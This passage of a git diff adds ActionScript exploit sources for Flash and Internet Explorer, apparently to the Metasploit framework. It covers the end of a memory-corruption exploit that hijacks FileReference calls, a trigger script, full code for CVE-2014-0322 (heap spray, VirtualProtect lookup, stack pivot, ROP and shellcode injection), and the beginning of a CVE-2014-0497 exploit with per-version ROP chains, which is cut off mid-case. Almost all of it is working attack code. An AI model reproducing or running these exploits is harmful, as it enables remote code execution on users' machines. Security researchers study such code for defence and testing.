tweaked_vector[9b] = 0 + tweaked_vector[9c] = 0 + tweaked_vector[9d] = 0 + tweaked_vector[9e] = 0 + tweaked_vector[9f] = 0 + tweaked_vector[a0] = 0 + tweaked_vector[a1] = 0 + tweaked_vector[a2] = 0 + tweaked_vector[a3] = 0 + tweaked_vector[a4] = 0 + tweaked_vector[a5] = 0 + */ + while(j < param1.length) + { + this.tweaked_vector[j - (back_offset + 2) + offset_length] = param1[j]; + j++; + } + // next -> next to the tweaked vector + // tweaked_vector[a6] = 36 + // tweaked_vector[a7] = 1dea000 + this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + offset_length] = param1[back_offset]; // [166] => 36 + this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + 1 + offset_length] = param1[back_offset + 1]; //[167] => 1dea000 + } + else // From the Timeout trigger; never reached on my tests. + { + _loc15_ = this.tweaked_vector[4 * (this.len_massage_vector + 2)-1]; + this.tweaked_vector[0x3fffffff] = _loc15_; + this.tweaked_vector[0x3fffffff - this.len_massage_vector - 2] = _loc15_; + this.tweaked_vector[0x3fffffff - this.len_massage_vector - 3] = this.len_massage_vector; + this.tweaked_vector[this.len_massage_vector + 1] = _loc15_; + this.tweaked_vector[2 * (this.len_massage_vector + 2)-1] = _loc15_; + this.tweaked_vector[3 * (this.len_massage_vector + 2)-1] = _loc15_; + this.tweaked_vector[this.len_massage_vector] = this.len_massage_vector; + this.tweaked_vector[2 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector; + this.tweaked_vector[3 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector; + } + + this.massage_array[corrupted_index].length = 256; // :? + + // Search backwards to find the massage array metadata + // It's used to disclose the tweaked vector address + i = 0; + var hint = 0; + while(true) + { + hint = this.tweaked_vector[0x40000000 - i]; + if(hint == this.maxElementsPerPage-1) // 0xe00012 - 1 + { + break; + } + i++; + } + + this.tweaked_vector_address = 0; + if(this.tweaked_vector[0x40000000 - i - 4] == 0) + { + throw new Error("error"); + } + else + { + this.tweaked_vector_address = this.tweaked_vector[0x40000000 - i - 4] + (4 * this.len_massage_vector + 8) + 8 + 4 * offset_length; + + // I have not been able to understand this tweak, + // Maybe not necessary at all... + i = 0; + hint = 0; + while(true) + { + hint = this.tweaked_vector[0x40000000 - i]; + if(hint == 0x7e3f0004) + { + break; + } + i++; + } + + this.tweaked_vector[0x40000000 - i + 1] = 4.294967295E9; // -1 / 0xffffffff + // End of maybe not necessary tweak + + var file_ref_array = new Array(); + i = 0; + while(i < 64) + { + file_ref_array[i] = new FileReference(); + i++; + } + + var file_reference_address = this.getFileReferenceLocation(this.tweaked_vector, this.tweaked_vector_address); + var ptr_backup = this.getMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32); + + // Get array related data, important to trigger the desired corruption to achieve command execution + ninbets = this.getNinbets(this.tweaked_vector,this.tweaked_vector_address); + array_with_code = this.createCodeVectors(0x45454545, 0x90909090); + address_code = this.getCodeAddress(this.tweaked_vector, this.tweaked_vector_address, 0x45454545); + this.fillCodeVectors(array_with_code, address_code); + this.tweaked_vector[7] = ninbets[0] + 0; + this.tweaked_vector[4] = ninbets[1]; + this.tweaked_vector[0] = 4096; + this.tweaked_vector[1] = address_code & 0xfffff000; + // Corruption + this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, this.tweaked_vector_address + 8); + // Get arbitrary execution + i = 0; + while(i < 64) + { + file_ref_array[i].cancel(); + i++; + } + this.tweaked_vector[7] = address_code; + i = 0; + while(i < 64) + { + file_ref_array[i].cancel(); + i++; + } + // Restore Function Pointer + this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, ptr_backup); + + return; + } + } + } + + // vector: tweaked vector with 0x40000001 length + // vector_address: address of tweaked vector + // address: address to read + function getMemoryAt(vector:Vector., vector_address:uint, address:uint) : uint { + if(address >= vector_address) + { + return vector[(address - vector_address) / 4]; + } + return vector[0x40000000 - (vector_address - address) / 4]; + } + + // vector: tweaked vector with 0x40000001 length + // vector_address: address of tweaked vector + // address: address to write + // value: value to write + function writeMemoryAt(vector:Vector., vector_address:uint, address:uint, value:uint) : * { + if(address >= vector_address) + { + vector[(address - vector_address) / 4] = value; + } + else + { + vector[0x40000000 - (vector_address - address) / 4] = value; + } + } + + function getNinbets(vector:*, vector_address:*) : Array { + var _loc9_:uint = 0; + var array_related_addr:uint = this.getMemoryAt(vector,vector_address,(vector_address & 0xfffff000) + 0x1c); + var index_array_related_addr:uint = 0; + var _loc5_:uint = 0; + var _loc6_:uint = 0; + if(array_related_addr >= vector_address) + { + index_array_related_addr = (array_related_addr - vector_address) / 4; + } + else + { + index_array_related_addr = 0x40000000 - (vector_address - array_related_addr) / 4; + } + var _loc7_:uint = 0; + while(true) + { + index_array_related_addr--; + _loc9_ = vector[index_array_related_addr]; + if(_loc9_ == 0xfff870ff) + { + _loc7_ = 2; + break; + } + if(_loc9_ == 0xf870ff01) + { + _loc7_ = 1; + break; + } + if(_loc9_ == 0x70ff016a) + { + _loc9_ = vector[index_array_related_addr + 1]; + if(_loc9_ == 0xfc70fff8) + { + _loc7_ = 0; + break; + } + } + else + { + if(_loc9_ == 0x70fff870) + { + _loc7_ = 3; + break; + } + } + } + + _loc5_ = vector_address + 4 * index_array_related_addr - _loc7_; + index_array_related_addr--; + var _loc8_:uint = vector[index_array_related_addr]; + if(_loc8_ == 0x16a0424) + { + return [_loc5_,_loc6_]; + } + if(_loc8_ == 0x6a042444) + { + return [_loc5_,_loc6_]; + } + if(_loc8_ == 0x424448b) + { + return [_loc5_,_loc6_]; + } + if(_loc8_ == 0xff016a04) + { + return [_loc5_,_loc6_]; + } + + _loc6_ = _loc5_ - 6; + while(true) + { + index_array_related_addr--; + _loc9_ = vector[index_array_related_addr]; + if(_loc9_ == 0x850ff50) + { + if(uint(vector[index_array_related_addr + 1]) == 0x5e0cc483) + { + _loc7_ = 0; + break; + } + } + _loc9_ = _loc9_ & 0xffffff00; + if(_loc9_ == 0x50ff5000) + { + if(uint(vector[index_array_related_addr + 1]) == 0xcc48308) + { + _loc7_ = 1; + break; + } + } + _loc9_ = _loc9_ & 0xffff0000; + if(_loc9_ == 0xff500000) + { + if(uint(vector[index_array_related_addr + 1]) == 0xc4830850) + { + if(uint(vector[index_array_related_addr + 2]) == 0xc35d5e0c) + { + _loc7_ = 2; + break; + } + } + } + _loc9_ = _loc9_ & 0xff000000; + if(_loc9_ == 0x50000000) + { + if(uint(vector[index_array_related_addr + 1]) == 0x830850ff) + { + if(uint(vector[index_array_related_addr + 2]) == 0x5d5e0cc4) + { + _loc7_ = 3; + break; + } + } + } + } + + _loc5_ = vector_address + 4 * index_array_related_addr + _loc7_; + return [_loc5_,_loc6_]; + } + + // vector: tweaked vector with 0x40000001 length + // address: address of tweaked vector + function getFileReferenceLocation(vector:*, address:*) : uint { + var flash_address:uint = this.getMemoryAt(vector,address,(address & 0xfffff000) + 28); + var _loc4_:uint = 0; + while(true) + { + _loc4_ = this.getMemoryAt(vector,address,flash_address + 8); + if(_loc4_ == 0x2a0) + { + break; + } + if(_loc4_ < 0x2a0) + { + flash_address = flash_address + 36; + } + else + { + flash_address = flash_address - 36; + } + } + + var file_ref_related_addr:uint = this.getMemoryAt(vector,address,flash_address + 12); + while(this.getMemoryAt(vector,address, file_ref_related_addr + 384) != 0xffffffff) + { + if(this.getMemoryAt(vector,address, file_ref_related_addr + 380) == 0xffffffff) + { + break; + } + file_ref_related_addr = this.getMemoryAt(vector, address, file_ref_related_addr + 8); + } + return file_ref_related_addr; + } + + function getCodeAddress(vector:*, vector_addr:*, mark:*) : uint { + var vector_length_read:uint = 0; + var vector_code_info_addr:uint = this.getMemoryAt(vector, vector_addr,(vector_addr & 0xfffff000) + 0x1c); + while(true) + { + vector_length_read = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 8); + if(vector_length_read == 2032) // code vector length + { + break; + } + vector_code_info_addr = vector_code_info_addr + 0x24; + } + + var vector_code_contents_addr:uint = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 0xc); + while(this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 0x28) != mark) + { + vector_code_contents_addr = this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 8); + } + return vector_code_contents_addr + 0x2c; // Code address, starting at nops after the mark + } + + // Every vector in the array => 7f0 (header = 8; data => 0x7e8) + function createCodeVectors(mark:uint, nops:uint) : * { + var array:Array = new Array(); + var i:* = 0; + while(i < 8) + { + array[i] = new Vector.(2032 / 4 - 8); + array[i][0] = mark; + array[i][1] = nops; + i++; + } + return array; + } + + function fillCodeVectors(param1:Array, param2:uint) : * { + var i:uint = 0; + var sh:uint=1; + + while(i < param1.length) + { + for(var u:String in shellcodeObj) + { + param1[i][sh++] = Number(shellcodeObj[u]); + } + i++; + sh = 1; + } + } + + } +} + +// Trigger's ActionScript + +/* + +// Action script... + +// [Action in Frame 1] +var b = new flash.display.BitmapData(4, 7); +var filt = new flash.filters.DisplacementMapFilter(b, new flash.geom.Point(1, 2), 1, 2, 3, 4); +var b2 = new flash.display.BitmapData(256, 512); +var filt2 = new flash.filters.DisplacementMapFilter(b2, new flash.geom.Point(1, 2), 1, 2, 3, 4); +var colors = [16777215, 16711680, 16776960, 52479]; +var alphas = [0, 1, 1, 1]; +var ratios = [0, 63, 126, 255]; +var ggf = new flash.filters.GradientGlowFilter(0, 45, colors, alphas, ratios, 55, 55, 2.500000, 2, "outer", false); +var cmf = new flash.filters.ColorMatrixFilter([]); +MyString2.setCMF(cmf); +MyString1.setGGF(ggf); +flash.filters.ColorMatrixFilter.prototype.resetMe = _global.ASnative(2106, 302); +zz = MyString1; +flash.display.BitmapData = zz; +arr = new Array(); +var i = 0; +while (i < 8192) +{ + arr[i] = new Number(0); + ++i; +} // end while +var i = 100; +while (i < 8192) +{ + arr[i] = "qwerty"; + i = i + 8; +} // end while +k = filt.mapBitmap; +zz = MyString2; +flash.display.BitmapData = zz; +k = filt.mapBitmap; +cmf_matrix = cmf.matrix; +cmf_matrix[4] = 8192; +cmf_matrix[15] = 12.080810; +cmf.matrix = cmf_matrix; +ggf_colors = ggf.colors; +ggf_alphas = ggf.alphas; +mem = new Array(); +var i = 0; +while (i < ggf_alphas.length) +{ + ggf_alphas[i] = ggf_alphas[i] * 255; + ++i; +} // end while +for (i = 0; i < ggf_colors.length; i++) +{ + mem[i] = ggf_colors[i] + ggf_alphas[i] * 16777216; +} // end of for +ggf.colors = colors; +ggf.alphas = alphas; +ggf.ratios = ratios; +var lc = new LocalConnection(); +lc.send("toAS3", "as2loaded", mem); +zz = cmf; +zz.resetMe("b", 1, 1, 1); + + +class MyString1 extends String +{ + static var ggf; + function MyString(a,b) + { + super(); + } + + static function setGGF(myggf) + { + ggf = myggf; + } + + static function getGGF() + { + return (MyString1.ggf); + } +} + +class MyString2 extends String +{ + static var cmf; + function MyString2(a,b) + { + super(); + } + + static function setCMF(mycmf) + { + cmf = mycmf; + } + + static function getCMF() + { + return (MyString2.cmf); + } +} + + +*/ diff --git a/external/source/exploits/CVE-2014-0322/AsXploit.as b/external/source/exploits/CVE-2014-0322/AsXploit.as new file mode 100755 index 0000000000..4641b060b4 --- /dev/null +++ b/external/source/exploits/CVE-2014-0322/AsXploit.as @@ -0,0 +1,519 @@ +/* + * MS14-012 Internet Explorer CMarkup Use-After-Free + * Vendor Homepage: http://www.microsoft.com + * Version: IE 10 + * Date: 2014-03-31 + * Exploit Author: Jean-Jamil Khalife + * Tested on: Windows 7 SP1 x64 (fr, en) + * Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77) + * Home: http://www.hdwsec.fr + * Blog : http://www.hdwsec.fr/blog/ + * MS14-012 / CVE-2014-0322 + * + * Generation: + * c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf + * + */ + +package +{ + import __AS3__.vec.Vector; + import flash.display.*; + import flash.events.*; + import flash.external.*; + import flash.media.*; + import flash.net.*; + import flash.text.*; + import flash.utils.*; + import Math; + import flash.system.Security; + import flash.external.ExternalInterface; + + import flash.display.LoaderInfo; + + + public class AsXploit extends Sprite + { + public var s:Vector.; + public var spraysound:Vector.; + public var myTimer:Timer; + public var sound:Sound; + public var shellcodeObj:Array; + + /* + * Prepare the heap + * Trigger the vulnerability + * Exploit :) + */ + public function AsXploit() + { + shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(","); + + /* Prepare the heap */ + init_heap(); + + /* Trigger the vulnerability */ + ExternalInterface.call("trigger"); + + /* Check every second if the vulnerability has triggered */ + myTimer = new Timer(1000, 114096); + myTimer.addEventListener("timer", timerHandler); + myTimer.start(); + } + + /* Prepare the heap + * Spray aligned vector & sound objects + */ + public function init_heap():void + { + var len:int = 0; + var i:int = 0; + + /* Spray the integer array */ + this.s = new Vector.(0x18180); + while (len < 0x18180) + { + this.s[len] = new Vector.(0x1000 / 4 - 16); + for (i=0; i < this.s[len].length; i++) + { + this.s[len][i] = 0x1a1a1a1a; + } + + ++len; + } + + /* Spray sound object ptr */ + this.sound = new Sound(); + this.spraysound = new Vector.(0x100); + + len = 0; + while (len < 0x100) + { + this.spraysound[len] = new Vector.(0x1234); + for (i=0; i < this.spraysound[len].length; i++) + { + this.spraysound[len][i] = this.sound; + } + ++len; + } + } + + /* + * Read an INT value in memory + */ + public function readInt(u1:int, u2:int, mod:uint):int + { + var valres:uint = 0; + + if (mod == 1){ + valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000; + } + else if (mod == 2){ + valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000; + } + else if (mod == 3){ + valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100; + } + else + { + valres = u1; + } + + return valres; + } + + + /* + * Search a stack pivot dynamically + * baseflashaddr_off: flash dll base address offset + * index: index of vectors table + * offset: offset to get the Stackpivot RVA + */ + public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint + { + var sp:uint = 0; + var sn:uint = 0; + var secname:uint = 0; + var sec:uint = 0; + var peindex:uint = 0; + var virtualSize:uint = 0; + var virtualAddr:uint = 0; + var i:uint = 0; + + /* Find .text */ + peindex = this.s[index][baseflashaddr_off+0x3C/4]; + sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16; + + /* Find 0xC394 */ + for (sec=0; sec < sn; sec++) + { + if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E + && this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74) + { + virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3]; + virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2]; + + /* Find a stack pivot */ + for (i=0; i < virtualSize/4; i++) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000 + && (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3) + { + sp = virtualAddr + i*4 + 3; + break; + } + } + else + { + sp = virtualAddr + i*4 + 2; + break; + } + } + else + { + sp = virtualAddr + i*4 + 1; + break; + } + } + else + { + sp = virtualAddr + i*4; + break; + } + } + } + + } + + if (sp != 0) + sp = offset+sp; + + return sp; + } + + /* + * Build & Insert the stack pivot + ROP + Shellcode + * Corrupt sound object vtable ptr + * baseflashaddr_off: flash dll address offset + * index: vectors table index + * cvaddr: corrupted vector address + * virtualprotectaddr: virtual protect address + * sp: stack pivot address + */ + public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void + { + var dec:uint = 0; + var soundobjref:uint = 0; + var soundobjaddr:uint = 0; + var sh:uint=0x300; + var i:uint = 0; + + /* Corrupt sound object vtable ptr */ + while (1) + { + if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234) + { + soundobjref = this.s[index][j+0x0A]; + dec = soundobjref-cvaddr-1; + this.s[index][dec/4-2] = cvaddr+2*4+4*4; + break; + } + + j++; + } + + /* Stack pivot */ + for (i=0; i < 0x200; i++) + this.s[index][i] = sp; + + /* ROP */ + this.s[index][0] = 0x41414141; + this.s[index][1] = 0x41414141; + this.s[index][2] = 0x41414141; + this.s[index][3] = 0x41414141; + this.s[index][4] = virtualprotectaddr; + this.s[index][5] = cvaddr+0xC00+8; + this.s[index][6] = cvaddr; + this.s[index][7] = 0x4000; + this.s[index][8] = 0x40; + this.s[index][9] = 0x1a002000; + + /* Shellcode */ + for(var u:String in shellcodeObj) + { + this.s[index][sh++] = Number(shellcodeObj[u]); + } + } + + + /* + * Get flash module base address + * index: index of vectors table + * cvaddr: corrupted vector address + */ + public function getFlashBaseAddr(index:uint, cvaddr:uint):Array + { + var baseflashaddr_off:uint = 0; + var j:int = 0; + var k:int = 0; + var kmax:uint = 0; + var vtableobj:int = 0; + var ocxinfo:Array = new Array(); + + + while (1) + { + if (this.s[index][j] == 0x00010c00) + { + vtableobj = this.s[index][j+0x08] & 0xFFFF0000; + + /* Get ocx base address */ + k = 0; + while (1) + { + if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D) + { + baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2; + ocxinfo[0] = baseflashaddr_off; + ocxinfo[1] = j; + ocxinfo[2] = k; + ocxinfo[3] = vtableobj; + + return ocxinfo; + } + + k = k + 0x1000; + } + } + + j = j + 0x1; + } + + return ocxinfo; + } + + /* + * Find kernel32.dll index + * index: index of vectors table + * baseflashaddr_off: flash dll address offset + * importsindex: offset to the imports table + */ + public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint + { + var nameindex:uint = 0; + var dllname:int = 0; + var nameaddr:int = 0; + + do + { + nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4]; + + /* kernel32.dll not found */ + if (nameaddr == 0x0) + break; + + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + + /* Check kernel32.dll */ + if (dllname == 0x6E72656B || dllname == 0x4E52454B) + { + nameaddr = nameaddr + 4; + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + if (dllname == 0x32336C65 || dllname == 0x32334C45) + { + nameaddr = nameaddr + 4; + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + if (dllname == 0x6C6C642E || dllname == 0x4C4C442E) + { + return nameindex; + } + } + } + + /* Next dll */ + nameindex = nameindex + 0x14; + } + while (1); + + return 0; + } + + /* + * Get VirtualProtectStub() addr + */ + public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint + { + var fct_addr:uint = 0; + var fct_name:uint = 0; + var fct_name_struct:uint = 0; + + do + { + fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4)); + fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4)); + + /* VirtualProtectStub() not found */ + if (fct_addr == 0 || fct_name_struct == 0) + break; + + if ((fct_name_struct & 0x80000000) != 0x80000000) + { + fct_name_struct = fct_name_struct + 2; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + + /* Check VirtualProtect */ + if (fct_name == 0x74726956 || fct_name == 0x54524956) + { + fct_name_struct = fct_name_struct + 4; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + if (fct_name == 0x504c4155 || fct_name == 0x506c6175) + { + fct_name_struct = fct_name_struct + 4; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + if (fct_name == 0x45544f52 || fct_name == 0x65746f72) + { + return fct_addr; + } + } + } + } + + /* Next Function() */ + fct_addr_offset = fct_addr_offset + 0x4; + fct_name_offset = fct_name_offset + 0x4; + } + while (1); + + return 0; + } + + /* + * Get corrupted vector index + */ + public function getCorruptedVectorIndex():uint + { + var i:uint = 0; + for (i=0; i < this.s.length; i++) + { + if (this.s[i].length == 0x3FFFFFFF) + { + return i; + } + } + + return i; + } + + /* + * Corrupt next vector size + */ + public function corruptNextVector(index:uint):uint + { + var j:uint = 0; + + for (j=0; j < this.s.length; j++) + { + if (this.s[index][j] == 0x000003F0) + { + this.s[index][j] = 0x3FFFFFFF; + + return j; + } + + j = j + 1; + } + + + + return 0; + } + + /* + * Perform the exploitation + * - Find VirtualProtect() + * - Find a stack pivot + * - Build payload (SP + ROP + SC) + * - Run payload + */ + public function timerHandler(event:TimerEvent):void + { + var i:int = 0; + var j:int = 0; + var k:int = 0; + + var vtableobj:int = 0; + var peindex:int = 0; + var importsindex:int = 0; + var k32index:int = 0; + var fct_name_offset:uint = 0; + var fct_addr_offset:uint = 0; + + var baseflashaddr_off:int = 0; /* Base address of the flash dll */ + var vp_addr:uint = 0; /* VirtualProtectStub() addr */ + var stackpivot:uint = 0; /* Stackpivot address */ + + var cvaddr:int = 0x1a001000; /* corrupted vector address */ + var ocxinfo:Array; + var i2:uint = 0; + + /* Search the corrupted vector */ + for (i=0; i < this.s.length; i++) + { + /* Find corrupted vector */ + if (this.s[i].length == 0x010003f0) + { + this.myTimer.stop(); + + /* Corrupt next vector size */ + if (corruptNextVector(i) == 0) + return; + + /* Find corrupted vector */ + i2 = getCorruptedVectorIndex(); + if (i2 == 0) return; + + /* Get flash base addr */ + ocxinfo = getFlashBaseAddr(i2, cvaddr); + if (ocxinfo.length == 0) return; + baseflashaddr_off = ocxinfo[0]; + j = ocxinfo[1]; + k = ocxinfo[2]; + vtableobj = ocxinfo[3]; + + /* Get imports table */ + peindex = this.s[i2][baseflashaddr_off+0x3C/4]; + importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4]; + + /* Find kernel32.dll */ + k32index = getK32Index(i2, baseflashaddr_off, importsindex); + if (k32index == 0) return; + + fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4]; + fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4]; + + /* Find VirtualProtectStub() addr */ + vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset); + if (vp_addr == 0) return; + + /* Search Stack Pivot */ + stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k); + if (stackpivot == 0) return; + + /* Build Payload */ + buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot); + + /* Run Payload */ + this.sound.toString(); + + return; + } + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0497/Vickers.as b/external/source/exploits/CVE-2014-0497/Vickers.as new file mode 100755 index 0000000000..02db79f39e --- /dev/null +++ b/external/source/exploits/CVE-2014-0497/Vickers.as @@ -0,0 +1,797 @@ +//Compile with mxmlc Vickers.as -o Vickers.swf +package +{ + import flash.display.Sprite; + import flash.system.Capabilities; + import flash.utils.ByteArray; + import __AS3__.vec.Vector; + import flash.system.ApplicationDomain; + import avm2.intrinsics.memory.*; + + public class Vickers extends Sprite + { + + public static var shellcode:String; + + public function Vickers() + { + var params = root.loaderInfo.parameters; + shellcode = params["id"]; + while (true) + { + if (exploit()) break; + }; + } + + public function makePayload(vftableAddr:*, scAddr:*):ByteArray + { + var payload = null; + switch (Capabilities.os.toLowerCase()) + { + case "windows xp": + case "windows vista": + case "windows server 2003 r2": + case "windows server 2003": + case "windows 7": + case "windows 7 x64": + case "windows server 2008 r2": + case "windows server 2008": + payload = makePayloadWinOther(vftableAddr, scAddr); + break; + case "windows 8": + case "windows 8 x64": + payload = makePayloadWin8(vftableAddr, scAddr); + break; + default: + return (null); + }; + return (payload); + } + + public function makePayloadWin8(vftableAddr:*, scAddr:*):ByteArray + { + var flash_base:uint = vftableAddr; + var flash_end:uint; + var rop_payload:ByteArray = new ByteArray(); + rop_payload.position = 0; + rop_payload.endian = "littleEndian"; + rop_payload.writeUnsignedInt((scAddr + 4)); + switch (Capabilities.version.toLowerCase()) + { + case "win 11,3,372,94": + flash_base = (flash_base - 9518744); + flash_end = (flash_base + 0xB10000); + rop_payload.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret + rop_payload.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub + rop_payload.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret + rop_payload.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret + rop_payload.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(0x40); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,375,10": + flash_base = (flash_base - 9589392); + flash_end = (flash_base + 0xB15000); + rop_payload.writeUnsignedInt((flash_base + 4220004)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 142215)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8504352)); + rop_payload.writeUnsignedInt((flash_base + 40214)); + rop_payload.writeUnsignedInt((flash_base + 840082)); + rop_payload.writeUnsignedInt((flash_base + 202134)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,376,12": + flash_base = (flash_base - 9593552); + flash_end = (flash_base + 0xB16000); + rop_payload.writeUnsignedInt((flash_base + 4220740)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 142023)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8508448)); + rop_payload.writeUnsignedInt((flash_base + 39878)); + rop_payload.writeUnsignedInt((flash_base + 839538)); + rop_payload.writeUnsignedInt((flash_base + 201958)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,377,15": + flash_base = (flash_base - 9589576); + flash_end = (flash_base + 0xB15000); + rop_payload.writeUnsignedInt((flash_base + 4220388)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 141671)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8504352)); + rop_payload.writeUnsignedInt((flash_base + 39526)); + rop_payload.writeUnsignedInt((flash_base + 839698)); + rop_payload.writeUnsignedInt((flash_base + 201590)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,378,5": + flash_base = (flash_base - 9589448); + flash_end = (flash_base + 0xB15000); + rop_payload.writeUnsignedInt((flash_base + 4220388)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 141671)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8504352)); + rop_payload.writeUnsignedInt((flash_base + 39526)); + rop_payload.writeUnsignedInt((flash_base + 839698)); + rop_payload.writeUnsignedInt((flash_base + 201590)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,379,14": + flash_base = (flash_base - 9597856); + flash_end = (flash_base + 0xB17000); + rop_payload.writeUnsignedInt((flash_base + 4575113)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 6617808)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 8149060)); + rop_payload.writeUnsignedInt((flash_base + 8512544)); + rop_payload.writeUnsignedInt((flash_base + 4907562)); + rop_payload.writeUnsignedInt((flash_base + 8147977)); + rop_payload.writeUnsignedInt((flash_base + 4046601)); + 